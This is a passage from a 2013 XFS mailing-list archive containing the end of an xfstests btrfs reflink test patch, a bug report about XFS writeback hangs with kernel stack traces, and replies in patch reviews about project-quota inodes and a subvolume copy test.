+_scratch_mount +_create_reflinks_to $CROSS_DEV_DIR +_scratch_unmount + +echo "test reflinks across different mountpoints of same device" +mount $TEST_DEV $SCRATCH_MNT || _fail "Couldn't double-mount $TEST_DEV" +_create_reflinks_to $DUAL_MOUNT_DIR +umount $SCRATCH_MNT + +# success, all done +status=0 +exit diff --git a/tests/btrfs/311.out b/tests/btrfs/311.out new file mode 100644 index 0000000..210727b --- /dev/null +++ b/tests/btrfs/311.out @@ -0,0 +1,15 @@ +QA output created by 311 +test reflinks across different devices +reflink=auto: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-311/original +42d69d1a6d333a7ebdf64792a555e392 SCRATCH_MNT/test-311/copy +reflink=always: +cp: failed to clone `SCRATCH_MNT/test-311/copyfail': Invalid cross-device link +SCRATCH_MNT/test-311/copyfail +test reflinks across different mountpoints of same device +reflink=auto: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-311/original +42d69d1a6d333a7ebdf64792a555e392 SCRATCH_MNT/test-bis-311/copy +reflink=always: +cp: failed to clone `SCRATCH_MNT/test-bis-311/copyfail': Invalid cross-device link +SCRATCH_MNT/test-bis-311/copyfail diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..c897118 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -12,3 +12,4 @@ 308 auto quick reflink 309 auto quick reflink 310 auto quick reflink +311 auto quick reflink -- 1.7.2.5 From Norman.Cheung@kla-tencor.com Mon Jul 1 12:04:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.0 required=5.0 tests=UNRESOLVED_TEMPLATE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 07AE97F55 for ; Mon, 1 Jul 2013 12:04:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6CE28AC00E for ; Mon, 1 Jul 2013 10:04:39 -0700 (PDT) X-ASG-Debug-ID: 1372698276-04cbb046909d9ba0001-NocioJ Received: from ca1mailout02.kla-tencor.com (mailout03.kla-tencor.com [192.146.1.173]) by cuda.sgi.com with ESMTP id sI7BIc8oNqiHgVoI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 01 Jul 2013 10:04:36 -0700 (PDT) X-Barracuda-Envelope-From: Norman.Cheung@kla-tencor.com X-Barracuda-Apparent-Source-IP: 192.146.1.173 Received: from CA1EXBH01.adcorp.kla-tencor.com (ca1exbh01.kla-tencor.com [10.60.33.3]) by ca1mailout02.kla-tencor.com (8.14.4/8.14.4) with ESMTP id r61H4YJX008306 for ; Mon, 1 Jul 2013 10:04:36 -0700 Received: from CA1EXBH02.adcorp.kla-tencor.com ([10.60.33.12]) by CA1EXBH01.adcorp.kla-tencor.com with Microsoft SMTPSVC(6.0.3790.4675); Mon, 1 Jul 2013 10:04:32 -0700 Received: from CA1VMEXCAHU02.adcorp.kla-tencor.com ([10.39.10.202]) by CA1EXBH02.adcorp.kla-tencor.com with Microsoft SMTPSVC(6.0.3790.4675); Mon, 1 Jul 2013 10:04:31 -0700 Received: from db9outboundpool.messaging.microsoft.com (10.39.11.6) by tlsmail.kla-tencor.com (10.39.10.202) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 1 Jul 2013 10:04:31 -0700 Received: from mail24-db9-R.bigfish.com (10.174.16.251) by DB9EHSOBE003.bigfish.com (10.174.14.66) with Microsoft SMTP Server id 14.1.225.23; Mon, 1 Jul 2013 17:04:29 +0000 Received: from mail24-db9 (localhost [127.0.0.1]) by mail24-db9-R.bigfish.com (Postfix) with ESMTP id 6EB804600FB for ; Mon, 1 Jul 2013 17:04:29 +0000 (UTC) X-Forefront-Antispam-Report: CIP:157.56.240.21;KIP:(null);UIP:(null);(null);H:BL2PRD0310HT003.namprd03.prod.outlook.com;R:internal;EFV:INT X-SpamScore: 0 X-BigFish: PS0(zz1443I1432I1a09J4015Izz1ee6h1fdah2073h1202h1e76h1d2ah1fc6hzzb412mz2dh2a8h668h839h944hd25hf0ah1220h1288h12a5h12a9h12bdh137ah13b6h1441h1504h1537h153bh15d0h162dh1631h1758h18e1h1946h19b5h19ceh1ad9h1b0ah1d07h1d0ch1d2eh1d3fh1dc1h1de9h1dfeh1dffh1e1dh1155h) Received: from mail24-db9 (localhost.localdomain [127.0.0.1]) by mail24-db9 (MessageSwitch) id 1372698267327360_17358; Mon, 1 Jul 2013 17:04:27 +0000 (UTC) Received: from DB9EHSMHS015.bigfish.com (unknown [10.174.16.231]) by mail24-db9.bigfish.com (Postfix) with ESMTP id 4C37EC0057 for ; Mon, 1 Jul 2013 17:04:27 +0000 (UTC) Received: from BL2PRD0310HT003.namprd03.prod.outlook.com (157.56.240.21) by DB9EHSMHS015.bigfish.com (10.174.14.25) with Microsoft SMTP Server (TLS) id 14.16.227.3; Mon, 1 Jul 2013 17:04:26 +0000 Received: from BL2PRD0310MB374.namprd03.prod.outlook.com ([169.254.7.44]) by BL2PRD0310HT003.namprd03.prod.outlook.com ([10.255.97.38]) with mapi id 14.16.0324.000; Mon, 1 Jul 2013 17:04:20 +0000 From: "Cheung, Norman" To: "xfs@oss.sgi.com" CC: "Cheung, Norman" Subject: RESEND Flush hung in D state at fclose (after heavy XFS writes) Thread-Topic: RESEND Flush hung in D state at fclose (after heavy XFS writes) X-ASG-Orig-Subj: RESEND Flush hung in D state at fclose (after heavy XFS writes) Thread-Index: Ac52eYLHMNca9kcWRcKkYwQtVhTBqA== Date: Mon, 1 Jul 2013 17:04:19 +0000 Message-ID: <3542214BE3A3EF419F236DFE0F878BC917882980@BL2PRD0310MB374.namprd03.prod.outlook.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [192.146.1.175] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-FOPE-CONNECTOR: Id%0$Dn%*$RO%0$TLS%0$FQDN%$TlsDn% X-FOPE-CONNECTOR: Id%116$Dn%OSS.SGI.COM$RO%2$TLS%5$FQDN%192.146.1.205$TlsDn%tlsmail.kla-tencor.com X-OriginalArrivalTime: 01 Jul 2013 17:04:31.0748 (UTC) FILETIME=[0DF51C40:01CE767D] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.10.8794,1.0.431,0.0.0000 definitions=2013-06-19_09:2013-06-19,2013-06-19,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0 ipscore=0 suspectscore=0 phishscore=0 bulkscore=0 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=6.0.2-1305240000 definitions=main-1306190271 X-Barracuda-Connect: mailout03.kla-tencor.com[192.146.1.173] X-Barracuda-Start-Time: 1372698276 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135513 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Got a note from the list that my earlier post was too big and need moderato= r approval. Resend the post with no attachment. I can send the sysrq dumps separately if it is needed. Thanks, Norman >=20 > Hello, >=20 > I had this issue with Kernel 3.0.13 and reported in this forum ~4 months = ago. > I'd been working with Suse support to resolve but getting no where. I=20 > will be grateful should someone can help and give me some pointers to=20 > solve or work around this hang. Suse has asked me to reproduce it=20 > with 3.0.80- 0.5(their latest release) so all the attached traces were=20 > produced against this kernel. >=20 > My application has ~10+ threads running non-stop with high CPU usage=20 > (close to 100% and each is locked to a specific CPU with 32 CPUs in=20 > the server). The processing runs in a 5 minute cycle. After the=20 > second minute 5 of these threads start writing to disk for 3 minutes.=20 > Each thread writes a file ~16G in size. The threads run with very=20 > high priority (-2, much higher than flush, I also tried threads with=20 > same priority as pdflush, fails sooner) >=20 > Disk is a raid-5, I have also tried 5 X raid-0, one raid per disk=20 > writing thread same result. >=20 > Below are the traces from magic sysrq "w" >=20 > If I use O_DIRECT write, my application will run for 5-6 days and=20 > hang. If I use buffered write, it will hang after 3-4 hours. >=20 > And when I attached GDB to my applications, the flush-8:16 will=20 > immediately free from D state, and my application too. >=20 > Without knowing the internal of flush and XFS, this is my guess=20 > looking at the trace below: > Could it be that flush(xfs_fs_write_inode) and my application=20 > (xfs_file_release at fclose) are holding the same lock? >=20 > Stack trace of a few thread of interests. The entire dump is attached. >=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580426] SysRq : Show Blocked St= ate > Jun 28 19:34:11 IMCNode000 kernel: [29127.580434] task = PC stack pid father > Jun 28 19:34:11 IMCNode000 kernel: [29127.580629] flush-8:16 D > 0000000000000400 0 5502 2 0x00000000 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580636] ffff883e5bbb7b90 > 0000000000000046 ffff8819c91d25c0 ffff883e5bbb6010=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580643] 0000000000011180 0000= 000000011180 ffff883e5bbb7fd8 ffff883e5bbb7fd8=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580651] 0000000000011180 ffff8= 83e5b8aa0c0 ffff8819c91d25c0 ffff8819dc99a3c0 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580658] Call Trace: > Jun 28 19:34:11 IMCNode000 kernel: [29127.580711] [] = xfs_ioend_wait+0x85/0xb0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.580800] [] x= fs_fs_write_inode+0xb8/0x190 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580880] [] w= riteback_single_inode+0x2f3/0x360 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580889] [] w= riteback_sb_inodes+0xc4/0x1a0 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580897] [] w= riteback_inodes_wb+0xd3/0x160=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580904] [] w= b_writeback+0x3bb/0x400 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580911] [] w= b_do_writeback+0x23b/0x250 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580918] [] b= di_writeback_thread+0xe4/0x240 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580926] [] k= thread+0x96/0xa0=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580936] [] k= ernel_thread_helper+0x4/0x10 > > Jun 28 19:34:11 IMCNode000 kernel: [29127.580954] Tigris_IMC.exe D 0000= 000100669478 0 6347 6269 0x00000000 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580960] ffff8819dc9b5848 0000= 000000000086 0000000000000000 ffff8819dc9b4010 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580968] 0000000000011180 00000= 00000011180 ffff8819dc9b5fd8 ffff8819dc9b5fd8 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580975] 0000000000011180 ffff8= 819dc9b2540 0000000085227080 ffff883e86942400 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580982] Call Trace: > Jun 28 19:34:11 IMCNode000 kernel: [29127.580991] [] s= chedule_timeout+0x205/0x2a0=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.580998] [] _= _down+0x68/0xb0=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581008] [] d= own+0x47/0x50=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581030] [] x= fs_buf_lock+0x59/0xc0 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581104] [] _= xfs_buf_find+0x11b/0x210 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581176] [] x= fs_buf_get+0x36/0x1d0 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581248] [] x= fs_buf_read+0x24/0x110 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581322] [] x= fs_trans_read_buf+0x28e/0x3e0 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581393] [] x= fs_btree_read_buf_block+0x5e/0xd0 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581438] [] x= fs_btree_lookup_get_block+0x82/0xf0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.581480] [] x= fs_btree_lookup+0xd2/0x470 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581522] [] x= fs_bmap_del_extent+0x147/0xac0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.581560] [] x= fs_bunmapi+0x5d7/0xbc0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.581601] [] x= fs_itruncate_finish+0x168/0x330 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.581657] [] x= fs_free_eofblocks+0x1ce/0x2b0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.581725] [] x= fs_release+0x13c/0x230 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.581793] [] x= fs_file_release+0x10/0x20 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581855] [] _= _fput+0xb3/0x200 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581863] [] f= ilp_close+0x5c/0x90 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581870] [] s= ys_close+0xa7/0x100 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581879] [] s= ystem_call_fastpath+0x16/0x1b > Jun 28 19:34:11 IMCNode000 kernel: [29127.581897] [<00007f90392c2ea0>] 0= x7f90392c2e9f=20 >=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581903] Tigris_IMC.exe D ffff= 887ef8994710 0 6352 6269 0x00000000 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581909] ffff8819dcbe7848 00000= 00000000086 ffffffffa0480c7e ffff8819dcbe6010 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581916] 0000000000011180 00000= 00000011180 ffff8819dcbe7fd8 ffff8819dcbe7fd8 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581923] 0000000000011180 ffff8= 819dcbe4680 ffff883e85249e80 ffff883e86a123c0 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581930] Call Trace: > Jun 28 19:34:11 IMCNode000 kernel: [29127.581940] [] s= chedule_timeout+0x205/0x2a0 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581952] [] _= _down+0x68/0xb0=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581959] [] d= own+0x47/0x50=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.581979] [] x= fs_buf_lock+0x59/0xc0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.582050] [] _= xfs_buf_find+0x11b/0x210 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.582121] [] x= fs_buf_get+0x36/0x1d0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.582191] [] x= fs_buf_read+0x24/0x110 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.582264] [] x= fs_trans_read_buf+0x28e/0x3e0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.582330] [] = xfs_btree_read_buf_block+0x5e/0xd0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.582371] [] x= fs_btree_lookup_get_block+0x82/0xf0 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.582413] [] x= fs_btree_lookup+0xd2/0x470 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.582454] [] x= fs_bmap_del_extent+0x147/0xac0 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.582494] [] x= fs_bunmapi+0x5d7/0xbc0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.582541] [] x= fs_itruncate_finish+0x168/0x330 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.582597] [] x= fs_free_eofblocks+0x1ce/0x2b0 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.582665] [] x= fs_release+0x13c/0x230 [xfs] > Jun 28 19:34:11 IMCNode000 kernel: [29127.582733] [] x= fs_file_release+0x10/0x20 [xfs]=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.582794] [] _= _fput+0xb3/0x200 > Jun 28 19:34:11 IMCNode000 kernel: [29127.582801] [] f= ilp_close+0x5c/0x90=20 > Jun 28 19:34:11 IMCNode000 kernel: [29127.582807] [] s= ys_close+0xa7/0x100 > Jun 28 19:34:11 IMCNode000 kernel: [29127.582814] [] = system_call_fastpath+0x16/0x1b=20 >Jun 28 19:34:11 IMCNode000 kernel: [29127.582823] [<00007f90392c2ea0>] 0x= 7f90392c2e9f >=20 >=20 > xfsprogs-3.1.6-0.7.1 >=20 > xfs_info /raid > meta-data=3D/dev/sdb1 isize=3D256 agcount=3D4, agsize=3D2= 43896192 blks > =3D sectsz=3D512 attr=3D2 > data =3D bsize=3D4096 blocks=3D975584768, ima= xpct=3D5 > =3D sunit=3D0 swidth=3D0 blks > naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 > log =3Dinternal bsize=3D4096 blocks=3D476359, versio= n=3D2 > =3D sectsz=3D512 sunit=3D0 blks, lazy-co= unt=3D1 > realtime =3Dnone extsz=3D4096 blocks=3D0, rtextents= =3D0 >=20 >=20 > fdisk -l >=20 > WARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util=20 > fdisk doesn't support GPT. Use GNU Parted. > Disk /dev/sdb: 3996.0 GB, 3995997306880 bytes > 255 heads, 63 sectors/track, 485819 cylinders, total 7804682240=20 > sectors Units =3D sectors of 1 * 512 =3D 512 bytes Sector size=20 > (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512= bytes / 512 bytes Disk identifier: > 0x80560481 >=20 > Device Boot Start End Blocks Id System > /dev/sdb4 1 1 0+ ee GPT >=20 > /proc/partitions > major minor #blocks name >=20 > 8 16 3902341120 sdb > 8 17 3902339072 sdb1 > 8 0 124022784 sda > 8 1 1051648 sda1 > 8 2 1051648 sda2 > 8 3 121918464 sda3 >=20 > /proc/meminfo > MemTotal: 526536468 kB > MemFree: 520264928 kB > Buffers: 16644 kB > Cached: 706520 kB > SwapCached: 0 kB > Active: 580108 kB > Inactive: 240800 kB > Active(anon): 98036 kB > Inactive(anon): 68 kB > Active(file): 482072 kB > Inactive(file): 240732 kB > Unevictable: 0 kB > Mlocked: 0 kB > SwapTotal: 1051644 kB > SwapFree: 1051644 kB > Dirty: 0 kB > Writeback: 0 kB > AnonPages: 97868 kB > Mapped: 13212 kB > Shmem: 236 kB > Slab: 125960 kB > SReclaimable: 17020 kB > SUnreclaim: 108940 kB > KernelStack: 3264 kB > PageTables: 3120 kB > NFS_Unstable: 0 kB > Bounce: 0 kB > WritebackTmp: 0 kB > CommitLimit: 522322744 kB > Committed_AS: 432276 kB > VmallocTotal: 34359738367 kB > VmallocUsed: 1100980 kB > VmallocChunk: 34090199776 kB > HardwareCorrupted: 0 kB > AnonHugePages: 16384 kB > HugePages_Total: 0 > HugePages_Free: 0 > HugePages_Rsvd: 0 > HugePages_Surp: 0 > Hugepagesize: 2048 kB > DirectMap4k: 129732 kB > DirectMap2M: 6133760 kB > DirectMap1G: 530579456 kB >=20 >=20 > Many thanks in advance, >=20 > Norman >=20 From sekharan@us.ibm.com Mon Jul 1 12:59:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B1C4C7F55 for ; Mon, 1 Jul 2013 12:59:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 741A530405F for ; Mon, 1 Jul 2013 10:59:38 -0700 (PDT) X-ASG-Debug-ID: 1372701572-04bdf0233c9f5510001-NocioJ Received: from e37.co.us.ibm.com (e37.co.us.ibm.com [32.97.110.158]) by cuda.sgi.com with ESMTP id wtCZWLRfiu9wNXXA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 01 Jul 2013 10:59:34 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.158 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from /spool/local by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Mon, 1 Jul 2013 11:59:31 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Mon, 1 Jul 2013 11:59:29 -0600 Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 8D14119D8041 for ; Mon, 1 Jul 2013 11:59:18 -0600 (MDT) Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245]) by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r61HxShb323438 for ; Mon, 1 Jul 2013 11:59:28 -0600 Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r61I1w7q026853 for ; Mon, 1 Jul 2013 12:01:58 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r61I1vPB026847; Mon, 1 Jul 2013 12:01:57 -0600 Subject: Re: [PATCH v10 09/11] xfs: Start using pquotaino from the superblock. From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v10 09/11] xfs: Start using pquotaino from the superblock. Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <20130701020634.GE27780@dastard> References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-10-git-send-email-sekharan@us.ibm.com> <20130701020634.GE27780@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Mon, 01 Jul 2013 12:59:27 -0500 Message-ID: <1372701567.9777.164.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13070117-7408-0000-0000-000011A9FBD8 X-Barracuda-Connect: e37.co.us.ibm.com[32.97.110.158] X-Barracuda-Start-Time: 1372701574 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, 2013-07-01 at 12:06 +1000, Dave Chinner wrote: > On Thu, Jun 27, 2013 at 05:25:12PM -0500, Chandra Seetharaman wrote: > > Start using pquotino and define a macro to check if the > > superblock has pquotino. > > > > Keep backward compatibilty by alowing mount of older superblock > > with no separate pquota inode. > > > > Signed-off-by: Chandra Seetharaman > > This is unchanged from the previous version, so all of my review > comments from here: > > http://oss.sgi.com/pipermail/xfs/2013-June/027637.html > > are still unaddressed. See the other email I sent on this context. > > Also: > > > @@ -885,6 +905,18 @@ reread: > > */ > > xfs_sb_from_disk(&mp->m_sb, XFS_BUF_TO_SBP(bp)); > > > > + if (!xfs_sb_version_has_pquota(&mp->m_sb) && (XFS_IS_PQUOTA_ON(mp))) { > > + /* > > + * On disk superblock only has sb_gquotino, and incore > > + * superblock has both sb_gquotino and sb_pquotino. > > + * But, only one them is supported at any point of time. > > + * So, if PQUOTA is set in disk superblock, copy over > > + * sb_gquotino to sb_pquotino. > > + */ > > + mp->m_sb.sb_pquotino = mp->m_sb.sb_gquotino; > > + mp->m_sb.sb_gquotino = NULLFSINO; > > + } > > + > > xfs_sb_quota_from_disk(&mp->m_sb); > > This code should be inside xfs_sb_quota_from_disk().... will move. > > Cheers, > > Dave. From JBacik@fusionio.com Mon Jul 1 15:38:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5F2667F55 for ; Mon, 1 Jul 2013 15:38:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 491F98F8037 for ; Mon, 1 Jul 2013 13:38:23 -0700 (PDT) X-ASG-Debug-ID: 1372711101-04cb6c2a42746100001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id KjYG45oMeEGfWrCz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 01 Jul 2013 13:38:21 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id 4BEE07C0427 for ; Mon, 1 Jul 2013 14:38:21 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1372711101; bh=0dyHm9J7SlSC5FAUcUZfoAoNyXKCJgrI+0Y/FnwFRkA=; h=Date:From:To:CC:Subject:References:In-Reply-To; b=XB55jM2MmLP1DCIR1uDWiYNtMhdGZ5IE78W0rZtS8j5HSiUrn1Tb0OQV0PjW9V86A PsjfoU+n9rEYTtz3wqikTfrC92YYC7EANUbw4N+ol8Ep88P1RNLcIam4YXu4AavN2g b1lmJhYclXQcAz0bonq2cu5tqSF/v1YjGFuVloyw= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx2.fusionio.com with ESMTP id vVlz3ODu2LCFqnSj (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Mon, 01 Jul 2013 14:38:20 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 1 Jul 2013 14:38:19 -0600 Date: Mon, 1 Jul 2013 16:38:18 -0400 From: Josef Bacik To: Koen De Wit CC: , Subject: Re: [PATCH v2] xfstests: btrfs/316: cross-subvolume sparse copy Message-ID: <20130701203818.GH4288@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: btrfs/316: cross-subvolume sparse copy References: <51D19DF9.2080007@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline In-Reply-To: <51D19DF9.2080007@oracle.com> User-Agent: Mutt/1.5.21 (2011-07-01) X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1372711101 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135527 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Jul 01, 2013 at 05:19:21PM +0200, Koen De Wit wrote: > This testscript creates reflinks to files on different subvolumes, > overwrites the original files and reflinks, and moves reflinked files > between subvolumes. > > Originally submitted as testcase 302, changes are made based on comments > from Eric: http://oss.sgi.com/archives/xfs/2013-03/msg00231.html > Two new common/rc functions used in this script (_require_cp_reflink and > _verify_reflink) have been submitted recently: > http://oss.sgi.com/archives/xfs/2013-05/msg00745.html > Thanks to Eric Sandeen and Dave Chinner for the reviews. > > Signed-off-by: Koen De Wit > --- > tests/btrfs/316 | 130 > 